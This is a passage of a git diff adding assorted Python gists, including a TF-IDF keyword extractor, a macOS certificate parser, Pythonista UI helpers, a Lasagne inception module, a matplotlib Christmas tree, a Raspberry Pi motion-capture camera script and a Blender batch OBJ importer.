+tfidf = lambda tfs: dict([(k,v * corpus_vocab_dfs[k]) for k, v  in tfs.iteritems()])
+docs['tfidf'] = docs.log_frequencies.apply(tfidf)
+
+#finally we can grab the top 5 weighted terms to get keywords for each document
+sorted(docs.tfidf[0], key=docs.tfidf[0].get, reverse=True)[0:5]
+docs['keywords'] = docs.tfidf.apply(lambda t: sorted(t, key=t.get, reverse=True)[0:5])
\ No newline at end of file
diff --git a/hard-gists/ad575cee6bb503d4d193da355d70d3e9/._snippet.py b/hard-gists/ad575cee6bb503d4d193da355d70d3e9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ad575cee6bb503d4d193da355d70d3e9/._snippet.py differ
diff --git a/hard-gists/ad575cee6bb503d4d193da355d70d3e9/snippet.py b/hard-gists/ad575cee6bb503d4d193da355d70d3e9/snippet.py
new file mode 100644
index 00000000..ae6a8f23
--- /dev/null
+++ b/hard-gists/ad575cee6bb503d4d193da355d70d3e9/snippet.py
@@ -0,0 +1,18 @@
+import ssl, base64, objc
+from Foundation import NSBundle
+Security = NSBundle.bundleWithIdentifier_('com.apple.security')
+
+S_functions = [
+               ('SecCertificateCreateWithData', '@@@'),
+               ('SecCertificateCopyValues', '@@^@o^@'),
+              ]
+
+objc.loadBundleFunctions(Security, globals(), S_functions)
+
+server_pem    = ssl.get_server_certificate(('www.google.com', 443))
+pem_lines     = server_pem.splitlines()
+pem_base64    = ''.join([x for x in pem_lines if 'CERTIFICATE---' not in x])
+server_der    = base64.b64decode(pem_base64)
+server_cert   = SecCertificateCreateWithData(None, buffer(server_der))
+
+cert_details, errors = SecCertificateCopyValues(server_cert, None, None)
\ No newline at end of file
diff --git a/hard-gists/ad7eda38c797dfddc394/._snippet.py b/hard-gists/ad7eda38c797dfddc394/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ad7eda38c797dfddc394/._snippet.py differ
diff --git a/hard-gists/ad7eda38c797dfddc394/snippet.py b/hard-gists/ad7eda38c797dfddc394/snippet.py
new file mode 100644
index 00000000..dbf28f33
--- /dev/null
+++ b/hard-gists/ad7eda38c797dfddc394/snippet.py
@@ -0,0 +1,20 @@
+# coding: utf-8
+
+from objc_util import *
+
+UIApplication = ObjCClass('UIApplication')
+UIBarButtonItem = ObjCClass('UIBarButtonItem')
+
+@on_main_thread
+def main():
+	rootVC = UIApplication.sharedApplication().keyWindow().rootViewController()
+	tabVC = rootVC.detailViewController()
+	tabVC.tabCollectionView().collectionViewLayout().itemSize = CGSize(328,200)
+	tabVC.tabCollectionView().contentInset = UIEdgeInsets(58,0,0,0)
+	
+	overviewItem = UIBarButtonItem.alloc().initWithImage_style_target_action_(UIImage.imageNamed_('ShowTabs'), 0, tabVC, sel('showTabOverview:'))
+	tabVC.persistentLeftBarButtonItems = [overviewItem]
+	tabVC.reloadBarButtonItemsForSelectedTab()
+	
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/hard-gists/ae2a7adaab133c61a059/._snippet.py b/hard-gists/ae2a7adaab133c61a059/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ae2a7adaab133c61a059/._snippet.py differ
diff --git a/hard-gists/ae2a7adaab133c61a059/snippet.py b/hard-gists/ae2a7adaab133c61a059/snippet.py
new file mode 100644
index 00000000..d1bdf8bd
--- /dev/null
+++ b/hard-gists/ae2a7adaab133c61a059/snippet.py
@@ -0,0 +1,36 @@
+import lasagne as nn
+Conv2DLayer = nn.layers.Conv2DDNNLayer
+
+def inception_module(l_in, num_1x1, reduce_3x3, num_3x3, reduce_5x5, num_5x5, gain=1.0, bias=0.1):
+    """
+    inception module (without the 3x3s1 pooling and projection because that's difficult in Theano right now)
+    """
+    shape = l_in.get_output_shape()
+    out_layers = []
+
+    # 1x1
+    if num_1x1 > 0:
+        l_1x1 = nn.layers.NINLayer(l_in, num_units=num_1x1, W=nn.init.Orthogonal(gain), b=nn.init.Constant(bias))
+        out_layers.append(l_1x1)
+    
+    # 3x3
+    if num_3x3 > 0:
+        if reduce_3x3 > 0:
+            l_reduce_3x3 = nn.layers.NINLayer(l_in, num_units=reduce_3x3, W=nn.init.Orthogonal(gain), b=nn.init.Constant(bias))
+        else:
+            l_reduce_3x3 = l_in
+        l_3x3 = Conv2DLayer(l_reduce_3x3, num_filters=num_3x3, filter_size=(3, 3), border_mode="same", W=nn.init.Orthogonal(gain), b=nn.init.Constant(bias))
+        out_layers.append(l_3x3)
+    
+    # 5x5
+    if num_5x5 > 0:
+        if reduce_5x5 > 0:
+            l_reduce_5x5 = nn.layers.NINLayer(l_in, num_units=reduce_5x5, W=nn.init.Orthogonal(gain), b=nn.init.Constant(bias))
+        else:
+            l_reduce_5x5 = l_in
+        l_5x5 = Conv2DLayer(l_reduce_5x5, num_filters=num_5x5, filter_size=(5, 5), border_mode="same", W=nn.init.Orthogonal(gain), b=nn.init.Constant(bias))
+        out_layers.append(l_5x5)
+    
+    # stack
+    l_out = nn.layers.concat(out_layers)
+    return l_out
\ No newline at end of file
diff --git a/hard-gists/aea4329b760eb3e72f4d/._snippet.py b/hard-gists/aea4329b760eb3e72f4d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/aea4329b760eb3e72f4d/._snippet.py differ
diff --git a/hard-gists/aea4329b760eb3e72f4d/snippet.py b/hard-gists/aea4329b760eb3e72f4d/snippet.py
new file mode 100644
index 00000000..76ff29f1
--- /dev/null
+++ b/hard-gists/aea4329b760eb3e72f4d/snippet.py
@@ -0,0 +1,41 @@
+# coding: utf-8
+"""
+Draw a minimalist Christmas tree with Python and their awesome libraries.
+Code inspired by a StackEchange post and the Christmas spirit.
+http://codegolf.stackexchange.com/questions/15860/make-a-scalable-christmas-tree/16358#16358
+
+Author: Franz Navarro - CAChemE.org 
+License: MIT 
+Dependencies: Python, NumPy, matplotlib
+"""
+ 
+import matplotlib as mpl
+from mpl_toolkits.mplot3d import Axes3D
+import numpy as np
+import matplotlib.pyplot as plt
+ 
+# Calculate spiral coordinates for the Xmas tree
+theta = np.linspace(-8 * np.pi, 8 * np.pi, 200) 
+z = np.linspace(-3, 0, 200)
+r = 5
+x = r * np.sin(theta)*z
+y = r * np.cos(theta)*z
+ 
+# Use matplotib and its OOP interface to draw it 
+fig = plt.figure() # Create figure
+ax = fig.gca(projection='3d') # It's a 3D Xmas tree!
+ax.view_init(15, 0) # Set a nice view angle
+ax._axis3don = False # Hide the 3d axes
+ 
+# Plot the Xmas tree as a line
+ax.plot(x, y, z,
+        c='green', linewidth=2.5)
+ 
+# Every Xmas tree needs a star
+ax.scatter(0, 0, 0.2,
+           c='red', s=250, marker='*')
+ 
+# Type here your best whishes
+ax.set_title(u"¡Feliz Navidad!")
+ 
+plt.show()
\ No newline at end of file
diff --git a/hard-gists/aecb82d8b51e991dbd01/._snippet.py b/hard-gists/aecb82d8b51e991dbd01/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/aecb82d8b51e991dbd01/._snippet.py differ
diff --git a/hard-gists/aecb82d8b51e991dbd01/snippet.py b/hard-gists/aecb82d8b51e991dbd01/snippet.py
new file mode 100644
index 00000000..add1a212
--- /dev/null
+++ b/hard-gists/aecb82d8b51e991dbd01/snippet.py
@@ -0,0 +1,344 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+# This script was originally created by by killagreg î Thu Dec 18, 2014  7:53 am
+# see   http://www.raspberrypi.org/forums/viewtopic.php?p=656881#p656881
+
+# This script implements a motion capture surveillance cam for raspberry pi using picam
+# and is based on the picamera python library.
+# It uses the "motion vectors" magnitude of the h264 hw-encoder to detect motion activity.
+
+# Modified by spikedrba 2015-02-02 (mostly code cleanup, removing snapshotting and trying to add mjpeg streaming)
+
+import os
+import logging
+import logging.handlers
+import threading
+import subprocess
+import io
+import picamera
+import picamera.array
+import numpy as np
+import datetime as dt
+import time
+from PIL import Image
+
+pmd_version = "v1-spike" #current version number to print in the logger
+
+#logging_level = logging.INFO
+logging_level  = logging.DEBUG
+
+# extra debugging - dump histo on all frames where some threshold motion is detected (CPU INTENSIVE !)
+debug_dump_extra_motion_histo = False
+
+#dump_png mode? dumps extra dump_png info.  Note: it doesn't work.
+dump_png = False
+
+# define a timeout for the "event" waiting for motion to be detected,
+# so that other processing can occur when a timeout occurs, eg jpeg snapshots
+motion_event_wait_timeout = 300 # seconds
+
+filepath = '/var/www/pmd'
+logger_filename = filepath + '/pmd.log'
+
+# setup pre and post video recording around motion events
+video_preseconds = 2   # minimum 1
+video_postseconds = 2  # minimum 1
+
+# setup the main video/snapshot camera resolution
+# see this link for a full discussion on how to choose a valid resolution that will work
+# http://picamera.readthedocs.org/en/latest/fov.html
+video_width = 1296
+video_height = 730
+
+video_framerate = 45 # setup the camera video framerate
+
+# setup the camera h264 GOP size (I frames and their subsequent P and B friends)
+# the *higher* this value
+#  - the more actual video we "lose" whilst delayed waiting for "splitting" to finish (it seeks the next I frame)
+#  - the smaller the h264 filesize since it will use more (and smaller) B and P intra-I frames
+video_intra_period = 5
+
+#setup video rotation (0, 90, 180, 270)
+video_rotation = 180
+
+# setup the camera to perform video stabilization
+#video_stabilization = True
+video_stabilization = False
+
+# setup the camera to put a black background on the annotation (in our case, for date/time)
+#video_annotate_background = True
+video_annotate_background = False
+
+# setup the camera to put frame number in the annotation
+#video_annotate_frame_num = True
+video_annotate_frame_num = False
+
+# we could setup a webcam mode, to capture images on a regular interval in between motion recordings
+# setup jpeg capture snapshot flag and filename prefix
+perform_snapshot_capture = False
+snapshot_capture_filename = "snapshot"
+
+# define motion detection video resolution, equal or smaller than capture video resolution
+# *smaller* = less cpu needed thus "better" and less likely to lose frames etc
+motion_width  = 640
+motion_height = 480
+
+# setup motion detection threshold,
+# i.e. magnitude of a motion block to count as  motion
+motion_threshold = 6
+
+# setup motion detection sensitivity,
+# i.e number of motion blocks that trigger a motion detection
+# eg 640x480 resolution results in 41 x 30 motion blocks, 5% of 1230=61
+# eg 640x360 resolution results in 41 x 23 motion blocks, 5% of 1230=61
+# eg 320x240 resolution results in 21 x 15 motion blocks, 5% of 315=15
+motion_sensitivity = 4
+
+# define a shell cmd that should be executed when motion has been recognized
+motion_cmd = ""
+#motion_cmd = filepath + '/pmd_motion_detected.sh'
+
+# define an event used to set/clear/check whether motion was detected or not-detected
+# with any luck, this means that we won't use 100% cpu looping around
+# inside a WHILE TRUE loop just constantly checking for a true/false condition
+motion_event = threading.Event()
+motion_event.clear()
+
+# initialize timestamp stuff
+motion_timestamp = time.time()
+motion_window_active = "-"
+motion_frame_active = "-"
+
+prev_frame_annotation = dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + " --"
+curr_frame_annotation = dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + " --"
+
+# calculate trhe number of blocks that motion vectors have
+# and initialize a regions of of interest array with zeroes
+motion_cols = (motion_width  + 15) // 16 + 1
+motion_rows = (motion_height + 15) // 16
+if dump_png:
+    motion_array = np.zeros((motion_rows, motion_cols), dtype = np.uint8)
+
+# pre-initialise arrays for histograms (print these in the log)
+histo_bins = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 15, 20, 30, 40, 50, 100]
+histo0 =     [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 00, 00, 00, 00, 00, 00, 000]
+histo1 =     histo0
+histo2 =     histo0
+histo_nil =  histo0
+histo_extra_debug = histo0
+
+#call back handler for motion output data from h264 hw encoder
+#this processes the motion vectors from the low resolution splitted capture
+class MyMotionDetector(picamera.array.PiMotionAnalysis):
+   th_counter = 0       # static variable within the class
+
+   def analyse(self, a):
+      global histo1, histo2, debug_dump_extra_motion_histo, histo_extra_debug
+      global camera, motion_event, motion_timestamp, motion_array, motion_array_mask
+      global prev_frame_annotation, curr_frame_annotation, motion_window_active, motion_frame_active
+      # calculate length of motion vectors of mpeg macro blocks
+      a = np.sqrt(
+          np.square(a['x'].astype(np.float)) +
+          np.square(a['y'].astype(np.float))
+          ).clip(0, 255).astype(np.uint8)
+      # If there's more than 'sensitivity' number vectors with a magnitude greater than 'threshold', then say we've detected motion
+      th = ((a > motion_threshold).sum() > motion_sensitivity)
+      now = time.time()
+# by now ...
+# th                     = motion detected on current frame
+# motion_timestamp       = the last time when motion was detected in a frame (start of time window)
+# motion_event.is_set()  = whether motion detection time window is currently triggered
+#                        = is only turned off if motion has previously been detected
+#                          and both "no motion detected" and its time window has expired
+      if th:
+          motion_timestamp = now
+          motion_frame_active = "f"
+          #logger.debug('frame motion detected')
+          if debug_dump_extra_motion_histo:
+              histo_extra_debug, histo_nil = np.histogram(a, bins=histo_bins, density=False) # hopefully this resets the "bin counts" too
+              logger.debug("Histo motion frame: " + str(histo_extra_debug))
+      else:
+          motion_frame_active = "-"
+
+      # MOTION DETECTION PROCESSING
+      # if motion is detected, don't clear the detection flag until video_postseconds have passed
+      if motion_event.is_set():
+          if (now - motion_timestamp) >= video_postseconds:
+              motion_event.clear()
+              MyMotionDetector.th_counter = 0
+              motion_window_active = "-"
+              logger.debug('Capture time window cleared')
+      else:
+          if th:
+              MyMotionDetector.th_counter += 1
+              if (MyMotionDetector.th_counter == 1): # only 1      consecutive motion thresholds
+                  # create a histogram to describe the frame motion thresholds that were detected upon first detection
+                  histo1, histo_nil = np.histogram(a, bins=histo_bins, density=False) # hopefully this resets the "bin counts" too
+              elif (MyMotionDetector.th_counter == 2): # matched 2   consecutive motion thresholds
+                  # create a histogram to describe the frame motion thresholds that were detected upon second detection
+                  histo2, histo_nil = np.histogram(a, bins=histo_bins, density=False) # hopefully this resets the "bin counts" too
+                  motion_event.set()
+                  motion_window_active = "w"
+                  logger.debug('Second consecutive frame motion detected - capture time window set.')
+                  if dump_png: # the dump_png .png file doesn't work
+                      idx = a > motion_threshold
+                      a[idx] = 255
+                      motion_array = a
+              elif (MyMotionDetector.th_counter > 2): # more than 2 consecutive motion thresholds
+                  histo1 = histo0
+                  histo2 = histo0
+          else:
+              # decrement threshold counter when a non-motion detection frame occurs
+              #if(MyMotionDetector.th_counter):
+                  #MyMotionDetector.th_counter -= 1
+              if(MyMotionDetector.th_counter > 0):
+                  MyMotionDetector.th_counter = 0
+
+      # annotate the frame
+      curr_frame_annotation = dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + " " + motion_window_active + motion_frame_active
+      if  curr_frame_annotation != prev_frame_annotation:
+          camera.annotate_text = curr_frame_annotation
+          prev_frame_annotation = curr_frame_annotation
+
+# Write the entire content of the circular buffer to disk. No need to
+# lock the stream here as we're definitely not writing to it
+# simultaneously
+def write_video(stream):
+     global motion_filename
+
+     with io.open(motion_filename + '-before.h264', 'wb') as output:
+         for frame in stream.frames:
+             if frame.frame_type == picamera.PiVideoFrameType.sps_header:
+                 stream.seek(frame.position)
+                 break
+         while True:
+             buf = stream.read1()
+             if not buf:
+                 break
+             output.write(buf)
+     # Wipe the circular stream once we're done
+     stream.seek(0)
+     stream.truncate()
+
+# use asynchronous threads to perform some command processing in the background
+# and therefore  does not hold up processing waiting for that command to complete
+class execute_cmd_asynchronously (threading.Thread):
+    def __init__(self, threadID, cmd):
+        threading.Thread.__init__(self)
+        self.threadID = threadID
+        self.cmd = cmd
+    def run(self):
+        subprocess.call(self.cmd, shell=True)
+
+def run_background(threadID, cmd):
+    if(cmd != ""):
+      thread = execute_cmd_asynchronously(threadID, cmd)
+      thread.start()
+
+## MAIN
+
+logger = logging.getLogger('pmd')
+logger.setLevel(logging_level)
+fh = logging.handlers.RotatingFileHandler(logger_filename, mode='a', maxBytes=(1024*1000 * 2), backupCount=5, delay=0)
+fh.setLevel(logging_level)
+formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
+fh.setFormatter(formatter)
+logger.addHandler(fh)
+logger.info('----------------------------------------')
+logger.info('pmd %s has been started' % (pmd_version))
+logger.info('----------------------------------------')
+logger.info("Video capture filepath: %s" % (filepath))
+logger.info("Capture videos with %d x %d resolution" % (video_width, video_height))
+logger.info("Analyse motion vectors from a %d x %d resolution split" % (motion_width, motion_height))
+logger.info("  resulting in %d x %d motion blocks" % (motion_cols, motion_rows))
+logger.info("Analyse motion vectors threshold , sensitivity: %d , %d" % (motion_threshold, motion_sensitivity))
+logger.info("Framerate: %d fps" % (video_framerate))
+logger.info("video_intra_period: %d" % (video_intra_period))
+logger.info("Rotation: %d degrees" % (video_rotation))
+logger.info("Stabilization: %r" % (video_stabilization))
+logger.info("Annotate background: %r" % (video_annotate_background))
+logger.info("Annotate frame_num: %r" % (video_annotate_frame_num))
+logger.info("Video detection event capture before-seconds , after-seconds: %d , %d" % (video_preseconds, video_postseconds))
+logger.info("motion_event_wait_timeout: %s" % (motion_event_wait_timeout))
+logger.info("perform_snapshot_capture: %r" % (perform_snapshot_capture))
+logger.info("snapshot_capture_filename: %s" % (snapshot_capture_filename))
+logger.info("logger_filename: %s" % (logger_filename))
+logger.info("Histo_frame motion threshold bins: " + str(histo_bins))
+logger.info("Logging Level: %d (info=%d, debug=%d)" % (logging_level, logging.INFO, logging.DEBUG))
+logger.info("Dump extra motion histo info: %r" % (debug_dump_extra_motion_histo))
+
+with picamera.PiCamera() as camera:
+   camera.resolution = (video_width, video_height)
+   camera.framerate = video_framerate
+   camera.rotation = video_rotation
+   camera.video_stabilization = video_stabilization
+   camera.annotate_background = video_annotate_background
+   camera.annotate_frame_num = video_annotate_frame_num
+
+   # setup a circular IO buffer to contain video of "before motion detection" footage
+   stream = picamera.PiCameraCircularIO(camera, seconds = video_preseconds)
+
+   # 1. split the hi resolution video recording into circular buffer from splitter port 1
+   # note: splitting video recording happens at a key frame, so see parameter video_intra_period
+   camera.start_recording(stream, format='h264', splitter_port=1, inline_headers=True, intra_period=video_intra_period)
+
+   # 2. split the low resolution motion vector analysis from splitter port 2, throw away the actual video
+   camera.start_recording('/dev/null', splitter_port=2, resize=(motion_width,motion_height) ,format='h264', motion_output=MyMotionDetector(camera, size=(motion_width,motion_height)))
+
+   # wait some seconds for stable video data to be available
+   camera.wait_recording(2, splitter_port=1)
+   joiner_thread_id = 0
+   logger.info('OK. Commence waiting for first REAL motion to be detected')
+   try:
+       while True: #might be causing high CPU usage?
+          logger.info("Entering event wait state awaiting next motion detection by class MyMotionDetector ...")
+          motion_event.clear()
+          logger.debug("(also, window capture status was reset prior to waiting for motion event)")
+
+          if motion_event.wait(motion_event_wait_timeout):
+             histo1_tmp = histo1
+             histo2_tmp = histo2
+             logger.info('Detected motion')
+             logger.info("Histo frame 1: " + str(histo1_tmp))
+             logger.info("Histo frame 2: " + str(histo2_tmp))
+             motion_filename = filepath + "/" + time.strftime("%Y%m%d-%H%M%S", time.localtime(motion_timestamp))
+             # split  the high res video stream to a file instead of to the internal circular buffer
+             logger.debug('splitting video from circular IO buffer to after-motion-detected h264 file ')
+             camera.split_recording(motion_filename + '-after.h264', splitter_port=1)
+
+             # save circular buffer containing "before motion" event video, ie write it to a file
+             logger.debug('started  saving before-motion circular buffer')
+             write_video(stream)
+             logger.debug('finished saving before-motion circular IO buffer')
+             #---- wait for the end of motion event here, in one second increments
+             logger.debug('start waiting to detect end of motion')
+             #while motion_detected stay inside the loop below, recording
+             while motion_event.is_set():
+                camera.wait_recording(0.5, splitter_port=1)
+             #---- end of motion event detected
+             logger.info('Detected end of motion')
+             #split video recording back in to circular buffer at next key frame (see parameter video_intra_period)
+             logger.debug('splitting video back into the circular IO buffer')
+             camera.split_recording(stream, splitter_port=1)
+
+             # transcode to h264, using a separate thread to avoid blocking this loop
+             joiner_cmd = "cat %s %s > %s && rm -f %s && rm -f %s" % (motion_filename + "-before.h264", motion_filename + "-after.h264", motion_filename + ".h264", motion_filename + "-before.h264", motion_filename + "-after.h264")
+             joiner_thread_id = joiner_thread_id + 1
+             logger.debug("starting new video post-processing thread %d for h264 files" % (joiner_thread_id))
+             logger.debug(joiner_cmd)
+             run_background(joiner_thread_id, joiner_cmd)
+             logger.info("Finished motion capture processing after detecting end-of-motion.")
+          else:
+             # no motion detected or in progress
+             logger.debug("Motion detector timed out")
+             # if webcam mode, capture images on the regular timeout interval
+             if perform_snapshot_capture:
+                 #snapf = filepath + "/" + snapshot_capture_filename + "-" + time.strftime("%Y%m%d-%H%M%S", time.gmtime(motion_timestamp))
+                 snapf = filepath + "/" + snapshot_capture_filename + "-" + time.strftime("%Y%m%d-%H%M%S", time.localtime(time.time()))
+                 camera.capture_sequence([snapf + ".jpg"], use_video_port=True, splitter_port=0)
+                 logger.info("Captured snapshot")
+
+   finally:
+       camera.stop_recording(splitter_port=1)
+       camera.stop_recording(splitter_port=2)
diff --git a/hard-gists/af466b8d32d7cd4954f1/._snippet.py b/hard-gists/af466b8d32d7cd4954f1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/af466b8d32d7cd4954f1/._snippet.py differ
diff --git a/hard-gists/af466b8d32d7cd4954f1/snippet.py b/hard-gists/af466b8d32d7cd4954f1/snippet.py
new file mode 100644
index 00000000..c1d7c1fd
--- /dev/null
+++ b/hard-gists/af466b8d32d7cd4954f1/snippet.py
@@ -0,0 +1,61 @@
+# coding: utf-8
+'''
+This is a little helper script to make it easier
+to create single-file scripts with Pythonista, while
+still taking advantage of the UI editor.
+
+It'll essentially convert the .pyui file to a compact
+string representation that you can embed directly
+in your script. The code to unpack and load the UI
+is also auto-generated for convenience.
+
+How to use:
+
+* Add this script in the editor actions (wrench) menu
+* Open the script you want to embed the UI in
+* Run the EmbedPyui action
+* If your .pyui file has the same name as the script,
+  it is chosen automatically; otherwise, a list
+  of .pyui files in the current directory is shown.
+  After the script has finished, you'll have Python
+  code in the clipboard -- simply replace your
+  ui.load_view() call with the generated code.
+'''
+
+import ui, dialogs, textwrap, editor, os, bz2, base64, clipboard
+
+def main():
+	filename = editor.get_path()
+	if not filename:
+		dialogs.hud_alert('No file selected', 'error')
+		return
+	pyui_filename = os.path.splitext(filename)[0] + '.pyui'
+	if not os.path.exists(pyui_filename):
+		folder = os.path.split(filename)[0]
+		files = os.listdir(folder)
+		files = [f for f in files if f.endswith('.pyui')]
+		if not files:
+			dialogs.hud_alert('No pyui files found', 'error')
+			return
+		selected_pyui = dialogs.list_dialog('Select pyui file', files)
+		if not selected_pyui:
+			return
+		pyui_filename = os.path.join(folder, selected_pyui)
+	with open(pyui_filename, 'rb') as f:
+		pyui = f.read()
+	compressed = base64.b64encode(bz2.compress(pyui)).decode('utf-8')
+	wrapped = '\n'.join(textwrap.wrap(compressed, 70))
+	code = """\
+data = '''\\\n%s
+'''
+import ui
+import bz2
+from base64 import b64decode
+pyui = bz2.decompress(b64decode(data))
+v = ui.load_view_str(pyui.decode('utf-8'))
+""" % (wrapped,)
+	clipboard.set(code)
+	dialogs.hud_alert('Code copied', 'success')
+
+if __name__ == '__main__':
+	main()
diff --git a/hard-gists/af5bc4fae39b16f8d505/._snippet.py b/hard-gists/af5bc4fae39b16f8d505/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/af5bc4fae39b16f8d505/._snippet.py differ
diff --git a/hard-gists/af5bc4fae39b16f8d505/snippet.py b/hard-gists/af5bc4fae39b16f8d505/snippet.py
new file mode 100644
index 00000000..4a497926
--- /dev/null
+++ b/hard-gists/af5bc4fae39b16f8d505/snippet.py
@@ -0,0 +1,238 @@
+# ##### BEGIN GPL LICENSE BLOCK #####
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the terms of the GNU General Public License
+#  as published by the Free Software Foundation; either version 2
+#  of the License, or (at your option) any later version.
+#
+#  This program is distributed in the hope that it will be useful,
+#  but WITHOUT ANY WARRANTY; without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#  GNU General Public License for more details.
+#
+#  You should have received a copy of the GNU General Public License
+#  along with this program; if not, write to the Free Software Foundation,
+#  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+#
+# ##### END GPL LICENSE BLOCK #####
+# <pep8 compliant>
+
+bl_info = {
+    "name": "Import multiple OBJ files",
+    "author": "poor, JuhaW",
+    "version": (0, 2, 0),
+    "blender": (2, 76, 0),
+    "location": "File > Import-Export",
+    "description": "Import multiple OBJ files, UV's, materials",
+    "warning": "",
+    "wiki_url": "",
+    "tracker_url": "",
+    "category": "Import-Export"}
+
+
+import bpy
+import os
+
+from bpy_extras.io_utils import ImportHelper
+
+from bpy.props import (BoolProperty,
+                       FloatProperty,
+                       StringProperty,
+                       EnumProperty,
+                       CollectionProperty
+                       )
+
+
+class ImportMultipleObjs(bpy.types.Operator, ImportHelper):
+    """This appears in the tooltip of the operator and in the generated docs"""
+    bl_idname = "import_scene.multiple_objs"
+    bl_label = "Import multiple OBJ's"
+    bl_options = {'PRESET', 'UNDO'}
+
+    # ImportHelper mixin class uses this
+    filename_ext = ".obj"
+
+    filter_glob = StringProperty(
+            default="*.obj",
+            options={'HIDDEN'},
+            )
+
+    # Selected files
+    files = CollectionProperty(type=bpy.types.PropertyGroup)
+
+    # List of operator properties, the attributes will be assigned
+    # to the class instance from the operator settings before calling.
+    ngons_setting = BoolProperty(
+            name="NGons",
+            description="Import faces with more than 4 verts as ngons",
+            default=True,
+            )
+    edges_setting = BoolProperty(
+            name="Lines",
+            description="Import lines and faces with 2 verts as edge",
+            default=True,
+            )
+    smooth_groups_setting = BoolProperty(
+            name="Smooth Groups",
+            description="Surround smooth groups by sharp edges",
+            default=True,
+            )
+
+    split_objects_setting = BoolProperty(
+            name="Object",
+            description="Import OBJ Objects into Blender Objects",
+            default=True,
+            )
+    split_groups_setting = BoolProperty(
+            name="Group",
+            description="Import OBJ Groups into Blender Objects",
+            default=True,
+            )
+
+    groups_as_vgroups_setting = BoolProperty(
+            name="Poly Groups",
+            description="Import OBJ groups as vertex groups",
+            default=False,
+            )
+
+    image_search_setting = BoolProperty(
+            name="Image Search",
+            description="Search subdirs for any associated images "
+                        "(Warning, may be slow)",
+            default=True,
+            )
+
+    split_mode_setting = EnumProperty(
+            name="Split",
+            items=(('ON', "Split", "Split geometry, omits unused verts"),
+                   ('OFF', "Keep Vert Order", "Keep vertex order from file"),
+                   ),
+            )
+
+    clamp_size_setting = FloatProperty(
+            name="Clamp Size",
+            description="Clamp bounds under this value (zero to disable)",
+            min=0.0, max=1000.0,
+            soft_min=0.0, soft_max=1000.0,
+            default=0.0,
+            )
+    axis_forward_setting = EnumProperty(
+            name="Forward",
+            items=(('X', "X Forward", ""),
+                   ('Y', "Y Forward", ""),
+                   ('Z', "Z Forward", ""),
+                   ('-X', "-X Forward", ""),
+                   ('-Y', "-Y Forward", ""),
+                   ('-Z', "-Z Forward", ""),
+                   ),
+            default='-Z',
+            )
+
+    axis_up_setting = EnumProperty(
+            name="Up",
+            items=(('X', "X Up", ""),
+                   ('Y', "Y Up", ""),
+                   ('Z', "Z Up", ""),
+                   ('-X', "-X Up", ""),
+                   ('-Y', "-Y Up", ""),
+                   ('-Z', "-Z Up", ""),
+                   ),
+            default='Y',
+            )
+            
+    scale_setting = FloatProperty(
+            name="Size",
+            description="Scale objects",
+            min=0.0, max=1000.0,
+            soft_min=0.0, soft_max=1000.0,
+            default=1,
+            )
+            
+    center_origin = BoolProperty(
+            name = "Center Origin",
+            default=True
+            )
+
+    def draw(self, context):
+        layout = self.layout
+
+        row = layout.row(align=True)
+        row.prop(self, "ngons_setting")
+        row.prop(self, "edges_setting")
+
+        layout.prop(self, "smooth_groups_setting")
+
+        box = layout.box()
+        row = box.row()
+        row.prop(self, "split_mode_setting", expand=True)
+
+        row = box.row()
+        if self.split_mode_setting == 'ON':
+            row.label(text="Split by:")
+            row.prop(self, "split_objects_setting")
+            row.prop(self, "split_groups_setting")
+        else:
+            row.prop(self, "groups_as_vgroups_setting")
+
+        row = layout.split(percentage=0.67)
+        row.prop(self, "clamp_size_setting")
+        layout.prop(self, "axis_forward_setting")
+        layout.prop(self, "axis_up_setting")
+
+        layout.prop(self, "image_search_setting")
+        
+        row = layout.split(percentage=0.5)
+        row.prop(self, "scale_setting")
+        row.prop(self, "center_origin")
+
+    def execute(self, context):
+
+        # get the folder
+        folder = (os.path.dirname(self.filepath))
+
+        # iterate through the selected files
+        for j, i in enumerate(self.files):
+
+                # generate full path to file
+                path_to_file = (os.path.join(folder, i.name))
+
+                # call obj operator and assign ui values                                 
+                bpy.ops.import_scene.obj(filepath = path_to_file,
+                                    axis_forward = self.axis_forward_setting,
+                                    axis_up = self.axis_up_setting,
+                                    use_edges = self.edges_setting,
+                                    use_smooth_groups = self.smooth_groups_setting,
+                                    use_split_objects = self.split_objects_setting,
+                                    use_split_groups = self.split_groups_setting,
+                                    use_groups_as_vgroups = self.groups_as_vgroups_setting,
+                                    use_image_search = self.image_search_setting,
+                                    split_mode = self.split_mode_setting,
+                                    global_clamp_size = self.clamp_size_setting)
+                
+                if self.center_origin: bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='BOUNDS')     
+                bpy.ops.transform.resize(value=(self.scale_setting,self.scale_setting,self.scale_setting), constraint_axis=(False, False, False))
+                bpy.ops.object.transform_apply(location=False, rotation=False, scale=True)
+
+        return {'FINISHED'}
+
+
+# Only needed if you want to add into a dynamic menu
+def menu_func_import(self, context):
+    self.layout.operator(ImportMultipleObjs.bl_idname, text="Wavefont Batch (.obj)")
+
+
+def register():
+    bpy.utils.register_class(ImportMultipleObjs)
+    bpy.types.INFO_MT_file_import.append(menu_func_import)
+
+
+def unregister():
+    bpy.utils.unregister_class(ImportMultipleObjs)
+    bpy.types.INFO_MT_file_import.remove(menu_func_import)
+
+
+if __name__ == "__main__":
+    register()
+
+    # test call
